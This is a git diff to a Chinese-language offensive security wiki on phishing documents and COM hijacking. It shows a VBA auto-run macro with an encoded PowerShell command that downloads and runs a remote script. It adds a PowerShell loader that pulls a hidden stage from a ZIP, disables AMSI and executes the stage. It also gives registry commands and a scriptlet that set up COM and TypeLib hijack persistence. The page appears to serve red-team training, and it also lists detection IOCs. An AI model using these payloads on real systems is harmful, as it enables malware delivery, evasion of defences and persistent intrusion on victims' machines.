diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index 0c65465b3..577668b7b 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -4,37 +4,37 @@ ## Office Documents -Microsoft Word 在打开文件之前会执行文件数据验证。数据验证以数据结构识别的形式进行,符合 OfficeOpenXML 标准。如果在数据结构识别过程中发生任何错误,正在分析的文件将无法打开。 +Microsoft Word 在打开文件之前会执行文件数据验证。数据验证以数据结构识别的形式根据 OfficeOpenXML standard 进行。如果在数据结构识别过程中发生任何错误,被分析的文件将不会被打开。 -通常,包含宏的 Word 文件使用 `.docm` 扩展名。然而,可以通过更改文件扩展名来重命名文件,并仍然保持其宏执行能力。\ -例如,RTF 文件设计上不支持宏,但重命名为 RTF 的 DOCM 文件将被 Microsoft Word 处理,并能够执行宏。\ -相同的内部机制适用于 Microsoft Office 套件的所有软件(Excel、PowerPoint 等)。 +通常,包含宏的 Word 文件使用 `.docm` 扩展名。但是,可以通过更改文件扩展名来重命名文件,同时仍保持其宏执行能力。\ +例如,按设计 RTF 文件不支持宏,但将 DOCM 文件重命名为 RTF 后,Microsoft Word 会将其处理并能够执行宏。\ +相同的内部机制适用于 Microsoft Office Suite 的所有软件(Excel、PowerPoint 等)。 -您可以使用以下命令检查某些 Office 程序将执行哪些扩展名: +您可以使用以下命令来检查某些 Office 程序将执行哪些扩展名: ```bash assoc | findstr /i "word excel powerp" ``` -DOCX 文件引用远程模板(文件 – 选项 – 插件 – 管理:模板 – 转到)时,包括宏也可以“执行”宏。 +DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well. -### 外部图像加载 +### 外部图片加载 -转到: _插入 --> 快速部件 --> 字段_\ -_**类别**:链接和引用,**字段名称**:includePicture,**文件名或 URL**:_ http://\/whatever +转到: _Insert --> Quick Parts --> Field_\ +_**Categories**:链接和引用,**Filed names**:includePicture,和 **Filename or URL**:_ http:///whatever ![](<../../images/image (155).png>) -### 宏后门 +### Macros 后门 -可以使用宏从文档中运行任意代码。 +可以使用 macros 在文档中运行任意代码。 #### 自动加载函数 -它们越常见,AV 检测到它们的可能性就越大。 +这些函数越常见,AV 检测到它们的概率越高。 - AutoOpen() - Document_Open() -#### 宏代码示例 +#### Macros 代码示例 ```vba Sub AutoOpen() CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=") @@ -64,16 +64,16 @@ Dim proc As Object Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") proc.Create "powershell ``` -#### 手动删除元数据 +#### 手动移除元数据 -前往 **File > Info > Inspect Document > Inspect Document**,这将打开文档检查器。点击 **Inspect** 然后在 **Document Properties and Personal Information** 旁边点击 **Remove All**。 +转到 **File > Info > Inspect Document > Inspect Document**,这将打开 Document Inspector。点击 **Inspect**,然后在 **Document Properties and Personal Information** 旁点击 **Remove All**。 #### 文档扩展名 -完成后,选择 **Save as type** 下拉菜单,将格式从 **`.docx`** 更改为 **Word 97-2003 `.doc`**。\ -这样做是因为你 **不能在 `.docx` 中保存宏**,并且对宏启用的 **`.docm`** 扩展名有一种 **污名**(例如,缩略图图标上有一个巨大的 `!`,一些网络/电子邮件网关完全阻止它们)。因此,这个 **传统的 `.doc` 扩展名是最佳折衷**。 +完成后,从 **Save as type** 下拉菜单中选择,将格式从 **`.docx`** 更改为 **Word 97-2003 `.doc`**。\ +这样做的原因是你 **can't save macro's inside a `.docx`**,而且围绕 macro-enabled 的 **`.docm`** 扩展名存在一定的**污名**(例如缩略图图标有一个大的 `!`,一些 web/email gateway 会完全阻止它们)。因此,这个**传统的 `.doc` 扩展名是最佳折衷**。 -#### 恶意宏生成器 +#### 恶意 Macros 生成器 - MacOS - [**macphish**](https://github.com/cldrn/macphish) @@ -81,9 +81,9 @@ proc.Create "powershell ## HTA 文件 -HTA 是一个 Windows 程序,它 **结合了 HTML 和脚本语言(如 VBScript 和 JScript)**。它生成用户界面并作为“完全信任”的应用程序执行,且不受浏览器安全模型的限制。 +HTA 是 Windows 程序,**结合了 HTML 和脚本语言(例如 VBScript 和 JScript)**。它生成用户界面并作为“fully trusted”的应用程序执行,不受浏览器安全模型的约束。 -HTA 使用 **`mshta.exe`** 执行,通常与 **Internet Explorer** 一起 **安装**,使得 **`mshta` 依赖于 IE**。因此,如果它被卸载,HTA 将无法执行。 +HTA 使用 **`mshta.exe`** 执行,该程序通常随 **Internet Explorer** 一起**安装**,这使得 **`mshta` 依赖于 IE**。因此,如果 IE 已被卸载,HTA 将无法执行。 ```html <--! Basic HTA Execution --> @@ -140,9 +140,9 @@ self.close ``` ## 强制 NTLM 认证 -有几种方法可以**“远程”强制 NTLM 认证**,例如,您可以在用户访问的电子邮件或 HTML 中添加**隐形图像**(甚至是 HTTP MitM?)。或者将**文件地址**发送给受害者,这将**触发**仅仅**打开文件夹**所需的**认证**。 +有几种方法可以**“远程”强制 NTLM 认证**,例如,你可以在用户将访问的邮件或 HTML 中添加**不可见图片**(甚至通过 HTTP MitM?)。或者发送给受害者一些会在**打开文件夹时**就**触发**认证的**文件地址**。 -**在以下页面中查看这些想法和更多内容:** +**在下面的页面中查看这些想法和更多内容:** {{#ref}} @@ -154,11 +154,62 @@ self.close ../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md {{#endref}} -### NTLM 中继 +### NTLM Relay -不要忘记,您不仅可以窃取哈希或认证,还可以**执行 NTLM 中继攻击**: +别忘了你不仅可以窃取哈希或认证,还可以**执行 NTLM relay attacks**: -- [**NTLM 中继攻击**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) -- [**AD CS ESC8 (NTLM 中继到证书)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) +- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) +- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) + +## LNK Loaders + ZIP-Embedded Payloads (fileless chain) + +高效的活动通常投递一个 ZIP,其中包含两个合法的诱饵文档 (PDF/DOCX) 和一个恶意 .lnk。技巧在于真正的 PowerShell loader 被存放在 ZIP 原始字节中某个唯一标记之后,.lnk 会 carve 出来并在内存中完全运行它。 + +典型由 .lnk PowerShell 单行命令实现的流程: + +1) 在常见路径定位原始 ZIP:Desktop, Downloads, Documents, %TEMP%, %ProgramData%, 以及当前工作目录的父目录。 +2) 读取 ZIP 字节并查找硬编码标记(例如 xFIQCV)。标记之后的所有内容就是嵌入的 PowerShell payload。 +3) 将 ZIP 复制到 %ProgramData%,在那里解压,并打开诱饵 .docx 以显得合法。 +4) 为当前进程绕过 AMSI: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true +5) 对下一阶段进行去混淆(例如移除所有 # 字符)并在内存中执行。 + +Example PowerShell skeleton to carve and run the embedded stage: +```powershell +$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV') +$paths = @( +"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents", +"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName +) +$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1 +if(-not $zip){ return } +$bytes = [IO.File]::ReadAllBytes($zip.FullName) +$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker) +if($idx -lt 0){ return } +$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)] +$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' +[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) +Invoke-Expression $code +``` +说明 +- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA). +- The next stage frequently decrypts base64/XOR shellcode and executes it via Reflection.Emit + VirtualAlloc to minimize disk artifacts. + +在同一链中使用的持久性 +- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here: + +{{#ref}} +../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md +{{#endref}} + +狩猎/IOCs +- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data. +- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document. +- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed. +- Long-running business threads ending with links hosted under trusted PaaS domains. + +## 参考资料 + +- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/) +- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md index 5bb554557..b1efcfd06 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md +++ b/src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md @@ -4,23 +4,23 @@ ### 搜索不存在的 COM 组件 -由于 HKCU 的值可以被用户修改,**COM Hijacking** 可以作为一种 **持久机制**。使用 `procmon` 很容易找到不存在的 COM 注册表项,攻击者可以创建这些项以实现持久化。过滤条件: +由于 HKCU 的值可以被用户修改,**COM Hijacking** 可被用作 **持久化机制**。使用 `procmon` 很容易找到那些不存在但被查询的 COM 注册表项,攻击者可以创建这些项以实现持久化。筛选条件: - **RegOpenKey** 操作。 - 其中 _Result_ 为 **NAME NOT FOUND**。 -- 并且 _Path_ 以 **InprocServer32** 结尾。 +- 且 _Path_ 以 **InprocServer32** 结尾。 -一旦你决定了要伪装的不存在的 COM,执行以下命令。_如果你决定伪装一个每几秒加载一次的 COM,请小心,因为这可能会过于激进。_ +一旦决定要冒充哪个不存在的 COM,执行以下命令。_如果你决定冒充一个每隔几秒就被加载的 COM,请小心,这可能会造成过度影响(overkill)。_ ```bash New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll" New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both" ``` -### 可劫持的任务调度程序 COM 组件 +### 可劫持的 Task Scheduler COM components -Windows 任务使用自定义触发器调用 COM 对象,由于它们是通过任务调度程序执行的,因此更容易预测它们何时会被触发。 +Windows Tasks 使用 Custom Triggers 来调用 COM objects,并且因为它们通过 Task Scheduler 执行,所以更容易预测它们何时会被触发。 -
# 显示 COM CLSIDs
+
# Show COM CLSIDs
 $Tasks = Get-ScheduledTask
 
 foreach ($Task in $Tasks)
@@ -34,8 +34,8 @@ $usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
 
 if ($Task.Principal.GroupId -eq $usersGroup)
 {
-Write-Host "任务名称: " $Task.TaskName
-Write-Host "任务路径: " $Task.TaskPath
+Write-Host "Task Name: " $Task.TaskName
+Write-Host "Task Path: " $Task.TaskPath
 Write-Host "CLSID: " $Task.Actions.ClassId
 Write-Host
 }
@@ -43,15 +43,15 @@ Write-Host
 }
 }
 
-# 示例输出:
-# 任务名称:  示例
-# 任务路径:  \Microsoft\Windows\Example\
+# Sample Output:
+# Task Name:  Example
+# Task Path:  \Microsoft\Windows\Example\
 # CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
-# [更多类似于前面的...]
+# [more like the previous one...]
-检查输出后,您可以选择一个将在 **每次用户登录时** 执行的任务,例如。 +查看输出,你可以选择一个例如会在 **每次用户登录时** 被执行的任务。 -现在在 **HKEY\CLASSES\ROOT\CLSID** 以及 HKLM 和 HKCU 中搜索 CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}**,通常会发现该值在 HKCU 中不存在。 +现在在 **HKEY\CLASSES\ROOT\CLSID** 以及 HKLM 和 HKCU 中搜索 CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}**,通常你会发现该值在 HKCU 中不存在。 ```bash # Exists in HKCR\CLSID\ Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}" @@ -72,6 +72,64 @@ Name Property PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist. ``` -然后,您可以创建 HKCU 条目,每次用户登录时,您的后门将被触发。 +然后,你只需创建 HKCU 条目,每当用户登录时,你的 backdoor 就会被触发。 + +--- + +## COM TypeLib Hijacking (script: moniker persistence) + +Type Libraries (TypeLib) 定义 COM 接口并通过 `LoadTypeLib()` 加载。当一个 COM server 被实例化时,操作系统也可能通过查阅位于 `HKCR\TypeLib\{LIBID}` 下的注册表键来加载关联的 TypeLib。如果 TypeLib 路径被替换为一个 **moniker**,例如 `script:C:\...\evil.sct`,当解析该 TypeLib 时 Windows 会执行该 scriptlet —— 从而产生一种隐蔽的持久化,当常用组件被访问时触发。 + +已在 Microsoft Web Browser control 上观察到此类行为(该控件常由 Internet Explorer、嵌入 WebBrowser 的应用程序,甚至 `explorer.exe` 加载)。 + +### 步骤 (PowerShell) + +1) 识别被高频率 CLSID 使用的 TypeLib (LIBID)。常被恶意软件链滥用的示例 CLSID:`{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}`(Microsoft Web Browser)。 +```powershell +$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}' +$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)' +$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName +"CLSID=$clsid LIBID=$libid VER=$ver" +``` +2) 将 per-user TypeLib 路径指向本地 scriptlet,使用 `script:` moniker(不需要管理员权限): +```powershell +$dest = 'C:\\ProgramData\\Udate_Srv.sct' +New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null +Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest" +``` +3) 放置一个最小的 JScript `.sct`,重新启动你的主 payload(例如初始链使用的 `.lnk`): +```xml + + + + + +``` +4) 触发 – 打开 IE、嵌入了 WebBrowser control 的应用程序,或甚至常规的 Explorer 活动会加载 TypeLib 并执行 scriptlet,从而在 logon/reboot 时重新为你的链路上膛。 + +清理 +```powershell +# Remove the per-user TypeLib hijack +Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null +# Delete the dropped scriptlet +Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null +``` +注意事项 +- 你可以将相同逻辑应用于其他高频 COM 组件;始终先从 `HKCR\CLSID\{CLSID}\TypeLib` 解析真实的 `LIBID`。 +- 在 64-bit 系统上,你也可以为 64-bit 客户端填充 `win64` 子键。 + +## 参考资料 + +- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661) +- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/) {{#include ../../banners/hacktricks-training.md}}